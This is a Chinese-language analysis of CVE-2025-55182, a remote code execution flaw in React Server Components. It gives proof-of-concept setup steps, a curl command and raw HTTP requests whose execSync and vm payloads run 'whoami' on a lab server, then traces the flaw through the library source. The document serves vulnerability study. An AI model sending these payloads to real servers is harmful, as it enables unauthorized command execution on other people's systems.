git clone https://github.com/ejpir/CVE-2025-55182-poc
cd CVE-2025-55182-poc
npm ci # 按项目文件要求安装正确版本的Node.js
npm start
curl -X POST http://192.168.131.133:3002/formaction -F '$ACTION_REF_0=' -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
返回json:
{
"success": true,
"result": {
"type": "Buffer",
"data": [117,98,117,110,116,117,10]
},
"fnName": "bound bound execSync"
}
data 是对应字符的ASCII值, [117,98,117,110,116,117,10] -> "ubuntu\n"
POST /formaction HTTP/1.1
Host: 192.168.131.133:3002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=------------------------boundary1234
--------------------------boundary1234
Content-Disposition: form-data; name="$ACTION_REF_0"
--------------------------boundary1234
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"child_process#execSync","bound":["whoami"]}
--------------------------boundary1234--
POST /formaction HTTP/1.1
Host: 192.168.131.133:3002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----Boundary
Content-Length: 297
------Boundary
Content-Disposition: form-data; name="$ACTION_REF_0"
------Boundary
Content-Disposition: form-data; name="$ACTION_0:0"
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}
------Boundary--
{"id":"child_process#execSync","bound":["whoami"]}使用 child_process 模块的 execSync 函数来执行系统命令。
例如执行下面这几行代码:
const child_process = require('child_process');
// 使用 execSync 执行命令,并返回结果
const result = child_process.execSync('whoami');
// 打印结果
console.log(result.toString());
child_processNode.js 的核心模块之一,用于执行外部命令。result.toString()将执行结果从 Buffer(Node.js 中在内存中分配的二进制容器) 中转换为字符串形式。{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()"]}使用 vm 模块 的 runInThisContext 函数来执行代码。
例如:
const vm = require('vm');
// 要执行的代码
const code = `
const child_process = require('child_process');
child_process.execSync('whoami').toString();`;
// 创建一个上下文对象,将 Node.js 的内置模块传递进去
const context = {
require,
console,
child_process: require('child_process'),
};
// 使用 vm 模块在独立的 V8 上下文中运行代码,传入自定义的上下文
const result = vm.runInNewContext(code, context);
// 打印执行结果
console.log(result);
在vm模块的默认沙箱环境中,执行的代码是隔离的,不能直接访问 Node.js 的核心模块。为了允许在vm中执行代码时访问这些核心模块,会使用global.process.mainModule.require这种访问方法。这是 动态加载模块的一个机制,类似于Java的反射机制。
HTTP 请求(multipart 表单)
↓
decodeAction
├─ 找到 $ACTION_REF_n 相关字段
├─ 调 decodeBoundActionMetaData 解析元数据
↓
decodeBoundActionMetaData
├─ 解析出 { id, bound }
├─ ️ 这里 id 是攻击者完全可控的
↓
loadServerReference
├─ 调 resolveServerReference(id)
↓
resolveServerReference
├─ 允许 "合法ActionId#任意值"
├─ ️ 将 "#" 后内容当成 moduleExports[name] 的 name
↓
requireModule
├─ moduleExports = __webpack_require__(moduleId)
├─ ️ 返回 moduleExports[name](不做 hasOwnProperty 校验)
↓
得到原型链上的 constructor / toString / valueOf 等危险对象
↓
攻击者构造 gadget → RCE(比如 Function / vm / child_process)
Ctrl + B/左键 decodeAection(),跳转到当前文件的第71行:const { decodeAction } = moduleExports;这一行表示:这个文件并没有定义 decodeAction(),这里只是"从 moduleExports 里拿出来一份"。 真正的 decodeAction 是从下面这个文件动态加载的:
// Load React's decodeAction
const bundledPath = path.join(__dirname, '../node_modules/react-server-dom-webpack/cjs/react-server-dom-webpack-server.node.development.js');
console.log('Loading React:', bundledPath);
安装node.js后,所需要的 第三方框架的源码 下载到这个目录下。
漏洞点:
exports.decodeAction = function (body, serverManifest) {
var formData = new FormData(),
action = null;
body.forEach(function (value, key) {
key.startsWith("$ACTION_")
? key.startsWith("$ACTION_REF_")
? ((value = "$ACTION_" + key.slice(12) + ":"),
(value = decodeBoundActionMetaData(body, serverManifest, value)),
(action = loadServerReference(
serverManifest,
value.id,
value.bound
)))
: key.startsWith("$ACTION_ID_") &&
((value = key.slice(11)),
(action = loadServerReference(serverManifest, value, null)))
: formData.append(key, value);
});
return null === action
? null
: action.then(function (fn) {
return fn.bind(null, formData);
});
};
exports.decodeAction = function (body, serverManifest) { ... }
相当于
def decodeAction(body, server_manifest):
public static Object decodeAction(Body body, ServerManifest serverManifest) { ... }
body是前端传入的表单
body.forEach(function (value, key) { ... });
相当于
for key, value in body.items():
遍历 body 中的键值对,key 为 键。
body.forEach(function (value, key) {
key.startsWith("$ACTION_")
? key.startsWith("$ACTION_REF_")
? ((value = "$ACTION_" + key.slice(12) + ":"),
(value = decodeBoundActionMetaData(body, serverManifest, value)),
(action = loadServerReference(
serverManifest,
value.id,
value.bound
)))
: key.startsWith("$ACTION_ID_") &&
((value = key.slice(11)),
(action = loadServerReference(serverManifest, value, null)))
: formData.append(key, value);
});
遍历每个 key/value 并传入循环: 例:"$ACTION_REF_0" : "" 例:"$ACTION_0:0" : '{"id": "...", "bound": ...}'startsWith()判断字符串前缀slice(12)字符串中索引为12的字符
// 例如,key 为 "$ACTION_REF_0"
value => "$ACTION_" + key.slice(12) + ":"
=> "$ACTION_" + "0" + ":"
=> "$ACTION_0:"
是拼接字符串的操作。 将 body, serverManifest, value 传入 decodeBoundActionMetaData(),得到返回的 id 和 bound
(
(value = "$ACTION_" + key.slice(12) + ":"), // value 是字符串
(value = decodeBoundActionMetaData(body, serverManifest, value)), // value 变为对象
(action = loadServerReference(
serverManifest,
value.id,
value.bound
)
)
)
接下来: 请求 → decodeAction → decodeBoundActionMetaData → loadServerReference
function decodeBoundActionMetaData(body, serverManifest, formFieldPrefix) {
// 构造 React 的RSC 对象
body = createResponse(serverManifest, formFieldPrefix, void 0, body);
close(body);
body = getChunk(body, 0); // 获取第0个 chunk (部分/字段/块)
body.then(function () {});
if ("fulfilled" !== body.status) throw body.reason;
return body.value;
}
decodeBoundActionMetaData() 其实就是用来返回 body 的元数据对象的
function loadServerReference(bundlerConfig, id, bound) {
var serverReference = resolveServerReference(bundlerConfig, id);
bundlerConfig = preloadModule(serverReference);
return bound
? Promise.all([bound, bundlerConfig]).then(function (_ref) {
// Promise.all(...) 等待多个异步任务全部完成。Promise 代表一个异步任务
_ref = _ref[0];
var fn = requireModule(serverReference);
return fn.bind.apply(fn, [null].concat(_ref));
// fn.bind(...) 创建"预填参数"的新函数
})
: bundlerConfig
? Promise.resolve(bundlerConfig).then(function () {
// Promise.resolve(...) 不论输入什么,保证返回一个 Promise,即使输入不是 Promise
return requireModule(serverReference);
})
: Promise.resolve(requireModule(serverReference));
}
fn.bind例:
function add(a, b) {return a + b;}
const add5 = add.bind(null, 5);
console.log(add5(10)); // 输出 15
跟进 resolveServerReference()
function resolveServerReference(bundlerConfig, id) {
var name = "",
resolvedModuleData = bundlerConfig[id];
if (resolvedModuleData) name = resolvedModuleData.name;
// 如果 resolvedModuleData 存在(不是 null/undefined/false/0/""),就把它的 name 取出来赋值给变量 name
else {
var idx = id.lastIndexOf("#");
-1 !== idx &&
((name = id.slice(idx + 1)),
(resolvedModuleData = bundlerConfig[id.slice(0, idx)]));
if (!resolvedModuleData)
throw Error(
'Could not find the module "' +
id +
'" in the React Server Manifest. This is probably a bug in the React Server Components bundler.'
);
}
return resolvedModuleData.async
? [resolvedModuleData.id, resolvedModuleData.chunks, name, 1]
: [resolvedModuleData.id, resolvedModuleData.chunks, name];
}
是将id拆分,这个函数是整个漏洞链中最关键的"入口"。 把 id(例如"abc123def456#constructor")拆成
"abc123def456""constructor"此时若传入{"id":"child_process#execSync","bound":["whoami"]}
var idx = id.lastIndexOf("#"); // idx 指向 '#' 的位置
if (idx !== -1) {
name = id.slice(idx + 1); // name = execSync
resolvedModuleData = bundlerConfig[id.slice(0, idx)]; // resolvedModuleData = bundlerConfig["child_process"]
}
最后得到
resolvedModuleData === { id: "child_process", name: "execSync", chunks: [] };
return 的结果为
["child_process", [], "execSync"]
然后将结果 metadata 传入requireModule()
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
if (4 === metadata.length && "function" === typeof moduleExports.then)
if ("fulfilled" === moduleExports.status)
moduleExports = moduleExports.value;
else throw moduleExports.reason;
return "*" === metadata[2]
? moduleExports
: "" === metadata[2]
? moduleExports.__esModule
? moduleExports.default
: moduleExports
: moduleExports[metadata[2]];
}
传入参数:
var moduleExports = __webpack_require__("child_process"); // metadata[0]
// 相当于 const moduleExports = require("child_process")
return moduleExports["execSync"]; // metadata[2]
最终得到:
const fn = require("child_process").execSync;
三目运算符改成好理解一些的样子:
return "*" === metadata[2]
? moduleExports
: "" === metadata[2]
? moduleExports.__esModule
? moduleExports.default
: moduleExports
: moduleExports[metadata[2]];
if (metadata[2] === "*") {
// 情况 1:导出整个模块对象
return moduleExports;
} else if (metadata[2] === "") {
// 情况 2:导出"默认导出"(或整个模块)
if (moduleExports.__esModule) {
return moduleExports.default;
} else {
return moduleExports;
}
} else {
// 情况 3:导出指定名字的属性
return moduleExports[metadata[2]];
}